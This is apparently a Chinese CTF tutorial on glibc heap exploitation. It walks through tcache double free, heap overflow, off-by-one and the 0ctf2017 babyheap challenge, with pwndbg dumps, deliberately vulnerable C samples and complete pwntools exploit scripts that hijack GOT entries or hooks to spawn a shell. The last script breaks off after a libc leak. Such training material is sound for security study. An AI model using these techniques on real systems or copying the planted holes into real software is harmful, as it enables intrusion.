mchunk_size = 97,
fd = 0x603260,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6032b0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134481,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bin
tcachebins
0x60 [ 3]: 0x603260 ◂— 0x603260 /* '`2`' */ #free three times
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

这道题并没有给system函数和’/bin/sh’,所以我们需要泄露出system函数的地址,然后想办法改got表。

我们将0x6020e0位置的指针改为puts函数的got表指针,然后就可以泄露puts函数的在libc的地址,计算出system函数的地址,然后用同样的方法将puts的got表覆盖为system函数的地址,最后调用puts()实现getshell,偏移的计算是在接受到puts函数地址的时候,用vmmap打印出libc地址,然后相减就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

r = process('./babytcache')

symbol = ELF('./babytcache')

if args.G:
gdb.attach(r)

def add_note(content):

r.recvuntil('>')
r.sendline('1')
r.recvuntil('content:')
r.sendline(content)

def delete_note(index):

r.recvuntil('>')
r.sendline('2')
r.recvuntil('index:')
r.sendline('%d'%index)

def show_note(index):

r.recvuntil('>')
r.sendline('3')
r.recvuntil('index:')
r.sendline('%d'%index)

add_note('aaaaaaaa')

delete_note(0)

delete_note(0)

delete_note(0)

add_note(p64(0x6020e0+0x8))

add_note('bbbb')

add_note(p64(symbol.got['puts']))

show_note(1)

puts_addr = (u64(r.recv(6)+ '\x00\x00')) #receive 'puts'
print hex(puts_addr)
padding1 = 0x809c0

padding2 = 0x4f440

libc_addr = puts_addr - padding1

system_addr = libc_addr + padding2

print hex(libc_addr)

print hex(system_addr)

r.sendline('2')

r.recvuntil('index:')

r.sendline('0')

delete_note(0)

delete_note(0)

add_note(p64(symbol.got['puts']))

add_note('/bin/sh')

add_note(p64(system_addr))

r.sendline('3')
r.sendline('0')
delete_note(0)

r.interactive()

Heap Overflow

漏洞介绍

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块,我们用两个例子来说明这个问题。

Example One

创建overflow.c

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}

编译

1
gcc -no-pie overflow.c -o overflow -g -w

我们把断点下好观察chunk变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@Thunder_J-virtual-machine:~/桌面# gdb overflow 
...
pwndbg> b 8
Breakpoint 1 at 0x400599: file overflow.c, line 8.
pwndbg> b 9
Breakpoint 2 at 0x4005aa: file overflow.c, line 9.
pwndbg> r
Starting program: /home/Thunder_J/桌面/overflow
Get input:

Breakpoint 1, main () at overflow.c:8
pwndbg> x/20gx 0x602250-16
0x602240: 0x0000000000000000 0x0000000000000000
0x602250: 0x0000000000000000 0x0000000000000021 # 申请的chunk
0x602260: 0x0000000000000000 0x0000000000000000
0x602270: 0x0000000000000000 0x0000000000000411 # next chunk
0x602280: 0x75706e6920746547 0x00000000000a3a74
0x602290: 0x0000000000000000 0x0000000000000000
0x6022a0: 0x0000000000000000 0x0000000000000000
0x6022b0: 0x0000000000000000 0x0000000000000000
0x6022c0: 0x0000000000000000 0x0000000000000000
0x6022d0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # 输入64个'a'覆盖下一个chunk

Breakpoint 2, main () at overflow.c:9
9 return 0;
pwndbg> x/20gx 0x602250-16
0x602240: 0x0000000000000000 0x0000000000000000
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x6161616161616161 0x6161616161616161
0x602270: 0x6161616161616161 0x6161616161616161 # next chunk已经被覆盖
0x602280: 0x6161616161616161 0x6161616161616161
0x602290: 0x6161616161616161 0x6161616161616161
0x6022a0: 0x0000000000000000 0x0000000000000000
0x6022b0: 0x0000000000000000 0x0000000000000000
0x6022c0: 0x0000000000000000 0x0000000000000000
0x6022d0: 0x0000000000000000 0x0000000000000000

上面就是简单的堆溢出演示,在利用的时候当然不是这么的随便下面就看第二个例子。

Example Two

创建Overflow_Free_Chunk.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *cmd){
system(cmd);
}

int main()
{
setvbuf(stdout,0,_IONBF,0);
int cmd,idx,sz;
char* ptr[10];
memset(ptr,0,sizeof(ptr));
puts("1. malloc + gets\n2. free\n3. puts");
while(1){
printf("> ");
scanf("%d %d",&cmd,&idx);
idx %= 10;
if(cmd==1)
{
scanf("%d%*c",&sz);
ptr[idx] = malloc(sz);
gets(ptr[idx]);
}
else if (cmd==2)
{
free(ptr[idx]);
ptr[idx] = 0;
}
else if (cmd==3)
{
puts(ptr[idx]);
}
else{
exit(0);
}
}
}

编译

1
gcc -no-pie Overflow_Free_Chunk.c -o Overflow_Free_Chunk -g -w

我们在scanf输入处下断点观察

1
2
3
4
5
6
7
8
9
10
pwndbg> b 20
Breakpoint 1 at 0x40085b: file Overflow_Free_Chunk.c, line 20.
pwndbg> r
Starting program: /home/Thunder_J/桌面/Overflow_Free_Chunk
1. malloc + gets
2. free
3. puts
>
Breakpoint 1, main () at Overflow_Free_Chunk.c:20
20 scanf("%d %d",&cmd,&idx);

我们申请两次大小为24的chunk,为什么要申请24呢,因为最小的chunk大小为32位,,最小的堆即为prev_size(可以被上一个chunk占用),size,fd(可以被本chunk占用),bk(可以被本chunk占用) ,8*4即为32位,我们看一下堆的结构:

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

我们知道,我们申请出来的chunk最少是32位,然而chunk的大小至少是16的倍数,我们申请小于24位的chunk,其实申请出来大小是32位,也就是:

1
prev_size + size + fd + bk

我们申请两次chunk之后的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> c
Continuing.
1 0
24 aaaaaaaa
>
pwndbg> c
Continuing.
1 1
24 bbbbbbbb
>
pwndbg> x/20gx 0x602660-16
0x602650: 0x0000000000000000 0x0000000000000000
0x602660: 0x0000000000000000 0x0000000000000021 # prev_size + size
0x602670: 0x6161616161616161 0x0000000000000000 # fd + bk
0x602680: 0x0000000000000000 0x0000000000000021
0x602690: 0x6262626262626262 0x0000000000000000 # 同上
0x6026a0: 0x0000000000000000 0x0000000000020961
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000

我们释放两次chunk之后的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> c
Continuing.
2 1
>
pwndbg> c
Continuing.
2 0
>
pwndbg> x/20gx 0x602660-16
0x602650: 0x0000000000000000 0x0000000000000000
0x602660: 0x0000000000000000 0x0000000000000021
0x602670: 0x0000000000602690 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000021
0x602690: 0x0000000000000000 0x0000000000000000
0x6026a0: 0x0000000000000000 0x0000000000020961
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000

因为fastbin是单链表,所以我们free两次会得到一个单链表:

1
Fastbin[1]->0x602670->0x602690

当我们再次申请相同大小的chunk的时候,作合适的写入操作就可以覆盖下一个chunk的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> c
Continuing.
1 2
24 cccccccccccccccccccccccccccccccc
>
pwndbg> x/20gx 0x602660-16
0x602650: 0x0000000000000000 0x0000000000000000
0x602660: 0x0000000000000000 0x0000000000000021
0x602670: 0x6363636363636363 0x6363636363636363
0x602680: 0x6363636363636363 0x6363636363636363
0x602690: 0x0000000000000000 0x0000000000000000
0x6026a0: 0x0000000000000000 0x0000000000020961
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000000000
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000

我们需要注意的第一点是,我们free的顺序不能乱,一旦乱了,就会导致无法覆盖到理想的chunk处,要深入理解fastbin的LIFO机制,也就是想象成栈的机制,最好的理解方式就是自己多试几次,我们需要注意的第二点是我们不能一直乱覆盖到下一个chunk的size大小,因为size代表这个chunk的大小,要是乱覆盖用‘cccccccc’替代size内容那这个chunk的大小就变成了0x6363636363636363,就不是fastbin的大小了,也就无法达到目的了,所以我们必须选择好偏移的位置,将size大小正确写入下一个chunk,然后将chunk的fd指向我们的free函数地址,然后将’sh’写入free函数的地方。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = process('./Overflow_Free_Chunk')

def malloc(i,s):
p.recvuntil('> ')
p.send('1 %d\n24 %s'%(i,s)+'\n')

def free(x):
p.recvuntil('> ')
p.send('2 %d'%x+'\n')

malloc(0,'aaaaaaaa')
malloc(1,'bbbbbbbb')
free(1)
free(0)
malloc(2,'a'*24 + p64(0x21) + p64(0x601018)) # free_hook
malloc(3,'sh') # write 'sh' in ptr[3]
malloc(4, p64(0x4007d7)) # write in sh() address
p.recvuntil('> ')
p.sendline('2 3') # free(3) ==> system('sh')
p.interactive()

Off-By-One

off-by-one是堆溢出中比较有意思的一类漏洞,漏洞主要原理是 malloc 本来分配了0x20的内存,结果可以写 0x21 字节的数据,多写了一个,影响了下一个内存块的头部信息,进而造成了被利用的可能,这里就以西湖论剑的一道题目来讲解这个漏洞

题目链接

http://file.eonew.cn/ctf/pwn/Storm_note

解题思路

首先检测一下程序检测,该开的都开了

1
2
3
4
5
6
7
Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec Storm_note 
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

首先用IDA观察一下程序,有delete_note,backdoor,alloc_note,edit_note四个功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
delete_note();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 666 )
backdoor();
LABEL_15:
puts("Invalid choice");
}
else if ( v3 == 1 )
{
alloc_note();
}
else
{
if ( v3 != 2 )
goto LABEL_15;
edit_note();
}
}

init_proc

程序执行之前有这个初始化函数,可以看到关闭了 fastbin 机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)2882338816LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}

alloc_note

可以看到输入size之后,程序会calloc一块内存(calloc类比malloc),存放note,而note_size则存放在note后面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
for ( i = 0; i <= 15 && note[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf("%d", &v1);
if ( v1 > 0 && v1 <= 0xFFFFF )
{
note[i] = calloc(v1, 1uLL);
note_size[i] = v1;
puts("Done");
}
else
{
puts("Invalid size");
}
}

note存放信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bss:0000000000202060 ?? ?? ?? ?? ?? ??+note_size dd 10h dup(?)       ; DATA XREF: alloc_note+E1↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+ ; edit_note+8E↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+ ; delete_note+BE↑o
.bss:00000000002020A0 public note
.bss:00000000002020A0 ; _QWORD note[16]
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+note dq 10h dup(?) ; DATA XREF: alloc_note+2D↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; alloc_note+C6↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+A8↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+D0↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+82↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+A2↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+_bss ends

edit_note

edit 从 note 和 note_size 中根据索引取出需要编辑的堆块的指针和 size,使用 read 函数来进行输入。之后将末尾的值赋值为 0,这里存在 off by null 漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
puts("Content: ");
v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0; // off-by-one
puts("Done");
}
else
{
puts("Invalid index");
}

delete_note

可以看到输入 index 之后程序 free 掉 note 和 note_size 之后做了清零操作,不存在UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
free((void *)note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}
else
{
puts("Invalid index");
}

backdoor

可以看到system(“/bin/sh”);函数,函数首先读 0x30 长度,然后输入的内容和 mmap 段映射的内容相同即 getshell

1
2
3
4
5
6
v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, &buf, 0x30uLL);
if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);

思路

  • Chunk Extend 使得chunk重叠
  • 控制chunk
  • 控制unsort bin和large bin
  • overlapping 伪造 fake_chunk
  • 触发后门

这里首先我们连续申请7块chunk,这里是三个一组,两组 chunk 中的中间一个大的 chunk 就是我们利用的目标,用它来进行 overlapping 并把它放进 largebin 中

1
2
3
4
5
6
7
8
9
alloc_note(0x18)  # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2

alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5

alloc_note(0x18) # 6

布局如下图

在这里插入图片描述

然后我们伪造 prev_size

1
2
# 改pre_size为0x500
edit_note(1, 'a'*0x4f0 + p64(0x500))

调试可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ x/30gx 0x55dc2ede84f0
0x55dc2ede84f0: 0x6161616161616161 0x6161616161616161
0x55dc2ede8500: 0x6161616161616161 0x6161616161616161
0x55dc2ede8510: 0x6161616161616161 0x6161616161616161
0x55dc2ede8520: 0x0000000000000500 0x0000000000000000 => fake prev_size
0x55dc2ede8530: 0x0000000000000000 0x0000000000000021
0x55dc2ede8540: 0x0000000000000000 0x0000000000000000
0x55dc2ede8550: 0x0000000000000000 0x0000000000000021
0x55dc2ede8560: 0x0000000000000000 0x0000000000000000
0x55dc2ede8570: 0x0000000000000000 0x0000000000000511
0x55dc2ede8580: 0x0000000000000000 0x0000000000000000
0x55dc2ede8590: 0x0000000000000000 0x0000000000000000
0x55dc2ede85a0: 0x0000000000000000 0x0000000000000000
0x55dc2ede85b0: 0x0000000000000000 0x0000000000000000
0x55dc2ede85c0: 0x0000000000000000 0x0000000000000000
0x55dc2ede85d0: 0x0000000000000000 0x0000000000000000

释放掉chunk 1至unsort bin然后创建chunk 0来触发off by null,这里选择 size 为 0x18 的目的是为了能够填充到下一个 chunk 的 prev_size,这里就能通过溢出 00 到下一个 chunk 的 size 字段,使之低字节覆盖为 0。

1
2
3
delete_note(1)
# off by null 将1号块的size字段覆盖为0x500
edit_note(0, 'b'*(0x18))

调试可以看到chunk1已经被放进了 unsorted bin

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/20gx 0x562071ea0020-32
0x562071ea0000: 0x0000000000000000 0x0000000000000021
0x562071ea0010: 0x6262626262626262 0x6262626262626262
0x562071ea0020: 0x6262626262626262 0x0000000000000500
0x562071ea0030: 0x00007fe9f2875b78 0x00007fe9f2875b78
0x562071ea0040: 0x0000000000000000 0x0000000000000000
0x562071ea0050: 0x6161616161616161 0x6161616161616161
0x562071ea0060: 0x6161616161616161 0x6161616161616161
0x562071ea0070: 0x6161616161616161 0x6161616161616161
0x562071ea0080: 0x6161616161616161 0x6161616161616161
0x562071ea0090: 0x6161616161616161 0x6161616161616161

接下来我们申请两块chunk,因为关闭了 fastbin 机制,所以会从unsorted bin上,然后delete掉它们,那么就会触发这两个堆块合并,从而覆盖到刚刚的 0x4d8 这个块

1
2
3
4
alloc_note(0x18)
alloc_note(0x4d8)
delete_note(1)
delete_note(2) # unlink进行前向extend

调试如下,index为7的指向的地方和unsortedbin里面的chunk已经重叠了

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x/20gx 0x5564795ff000
0x5564795ff000: 0x0000000000000000 0x0000000000000021
0x5564795ff010: 0x6262626262626262 0x6262626262626262
0x5564795ff020: 0x6262626262626262 0x0000000000000531
0x5564795ff030: 0x00007f8305be4b78 0x00007f8305be4b78
0x5564795ff040: 0x0000000000000000 0x0000000000000000
0x5564795ff050: 0x0000000000000000 0x0000000000000000
0x5564795ff060: 0x0000000000000000 0x0000000000000000
0x5564795ff070: 0x0000000000000000 0x0000000000000000
0x5564795ff080: 0x0000000000000000 0x0000000000000000
0x5564795ff090: 0x0000000000000000 0x0000000000000000

alloc_note(0x30)之后2号块与7号块交叠,这里 add(0x30) 的 size 为 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指针

1
2
alloc_note(0x30)  # 1
alloc_note(0x4e8) # 2

接下来的原理同上

1
2
3
4
5
6
7
8
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4

接下来需要我们控制 unsort bin 和 large bin

1
2
3
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)

由于unsorted bin是FIFO(队列模式),所以可以先删除2号块,再申请他,由于先检查队列尾部,也就是原先4号块的chunk部分,发现chunk大小不够大,然后将其放入large bin中。该chunk由8号块控制。然后,继续删除2号块,那么此时unsorted bin里还剩下2号块,该部分通过7号块来控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gdb-peda$ x/20gx 0x55609685a000
0x55609685a000: 0x0000000000000000 0x0000000000000021
0x55609685a010: 0x6262626262626262 0x6262626262626262
0x55609685a020: 0x6262626262626262 0x0000000000000041
0x55609685a030: 0x0000000000000000 0x0000000000000000
0x55609685a040: 0x0000000000000000 0x0000000000000000
0x55609685a050: 0x0000000000000000 0x0000000000000000
0x55609685a060: 0x0000000000000000 0x00000000000004f1 => chunk 2
0x55609685a070: 0x00007fec67d73b78 0x00007fec67d73b78 => unsorted bin
0x55609685a080: 0x0000000000000000 0x0000000000000000
0x55609685a090: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/20gx 0x55609685a570
0x55609685a570: 0x6161616161616161 0x0000000000000051
0x55609685a580: 0x0000000000000000 0x0000000000000000
0x55609685a590: 0x0000000000000000 0x0000000000000000
0x55609685a5a0: 0x0000000000000000 0x0000000000000000
0x55609685a5b0: 0x0000000000000000 0x0000000000000000
0x55609685a5c0: 0x0000000000000000 0x00000000000004e1 => chunk 5
0x55609685a5d0: 0x00007fec67d73f98 0x00007fec67d73f98
0x55609685a5e0: 0x000055609685a5c0 0x000055609685a5c0
0x55609685a5f0: 0x0000000000000000 0x0000000000000000
0x55609685a600: 0x0000000000000000 0x0000000000000000

接下来我们伪造 fake_chunk,通过 chunk7 控制 chunk2

1
2
3
4
5
6
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit_note(7,payload)

同样的通过 edit(8) 来控制 chunk5

1
2
3
4
5
payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size 
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)

edit_note(8,payload2)

接下来我们需要触发后门

1
2
3
4
5
edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)

sh.interactive()

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *

r = process('./Storm_note')
elf = ELF('./Storm_note')
context.log_level = "debug"

if args.G:
gdb.attach(r)


def alloc_note(size):
r.sendline('1')
r.recvuntil('?')
r.sendline(str(size))
r.recvuntil('Choice')

def edit_note(idx, mes):
r.sendline('2')
r.recvuntil('?')
r.sendline(str(idx))
r.recvuntil('Content')
r.send(mes)
r.recvuntil('Choice')

def delete_note(idx):
r.sendline('3')
r.recvuntil('?')
r.sendline(str(idx))
r.recvuntil('Choice')

alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2

alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5

alloc_note(0x18) # 6

edit_note(1, 'a'*0x4f0 + p64(0x500))
delete_note(1)
edit_note(0, 'b'*(0x18))

alloc_note(0x18)
alloc_note(0x4d8)

delete_note(1)
delete_note(2)

alloc_note(0x30)
alloc_note(0x4e8)

# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4

# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)

content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit_note(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)

edit_note(8,payload2)

# 0xabcd00f0
alloc_note(0x48)

edit_note(2, p64(0) * 8)
r.sendline('666')
r.sendline('\x00'*0x30)

r.interactive()

运行结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Thunder_J@Thunder_J-virtual-machine:~/桌面$ python exp.py 
[+] Starting local process './Storm_note': pid 16030
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ ls
exp.py HITCON-Training Storm_note test.py vmware-tools-distrib
$ whoami
Thunder_J
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './Storm_note' stopped with exit code 0 (pid 16030)
[*] Got EOF while sending in interactive

参考链接

1
2
[+] http://blog.eonew.cn/archives/709
[+] https://blog.csdn.net/weixin_40850881/article/details/80293143

Some Example

0ctf2017 babyheap

这里从0ctf2017-babyheap这一道pwn题目入手,讲解pwn堆中的一些利用手法

题目链接

分析程序

首先检查程序保护,所有的保护措施都是开启的,这意味着我们想要改写程序流程考虑从malloc_hookfree_hook入手

1
2
3
4
5
6
[*] '/home/thunder/Desktop/codes/ctf/pwn/heap/0ctf_babyheap/0ctfbabyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

sed -i s/alarm/isnan/g ./0ctfbabyheap命令除去alarm函数,初步运行程序,有以下几个功能:

  1. 申请chunk
  2. 填充chunk
  3. 销毁chunk
  4. 输出chunk
  5. 退出程序
1
2
3
4
5
6
7
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

漏洞点存在于申请chunk和填充chunk部分,我们着重对这两个地方进行分析

Alloc chunk

IDA中反汇编如下,这里使用了calloc函数,相当于malloc + memset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall alloc(__int64 heap)
{
int index; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( index = 0; index <= 15; ++index )
{
if ( !*(_DWORD *)(24LL * index + heap) )
{
printf("Size: ");
v2 = input_();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * index + heap) = 1;
*(_QWORD *)(heap + 24LL * index + 8) = v2;
*(_QWORD *)(heap + 24LL * index + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)index);
}
return;
}
}
}

反汇编中我们可以分析heap结构体大致如下

1
2
3
4
5
6
struct heap
{
signed int flag;    //标记是否被分配
signed int size;    //请求申请的大小
void* chunk_m;     //chunk的mem值
}

填充chunk

IDA反汇编如下,需要注意的是,这里并没有对填充的大小进行限制,也就意味着我们可以堆溢出控制下面的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = input_();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = input_();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

Exploit

这里先放exp,然后逐步进行调试讲解,我们的利用可以分为两步,第一步是泄露libc基地址,第二步是getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

r = process('./0ctfbabyheap')
elf =ELF('./0ctfbabyheap')

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
gdb.attach(r)

def malloc(size):
r.recvuntil('Command: ')
r.sendline('1')
r.recvuntil('Size: ')
r.sendline(str(size))

def free(idx):
r.recvuntil('Command: ')
r.sendline('3')
r.recvuntil('Index: ')
r.sendline(str(idx))

def fill(idx,content):
r.recvuntil('Command: ')
r.sendline('2')
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvuntil('Size: ')
r.sendline(str(len(content)))
r.recvuntil('Content: ')
r.send(content)

def dump(idx):
r.recvuntil('Command: ')
r.sendline('4')
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvline()
return r.recvline()

malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk

free(1) # fastbin <- chunk1
free(2) # fastbin <- chunk2 <- chunk1

fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))

fill(3,p64(0)*3+p64(0x21))

malloc(0x10)
malloc(0x10)

fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))

fake_chunk = libc_base + 0x399acd
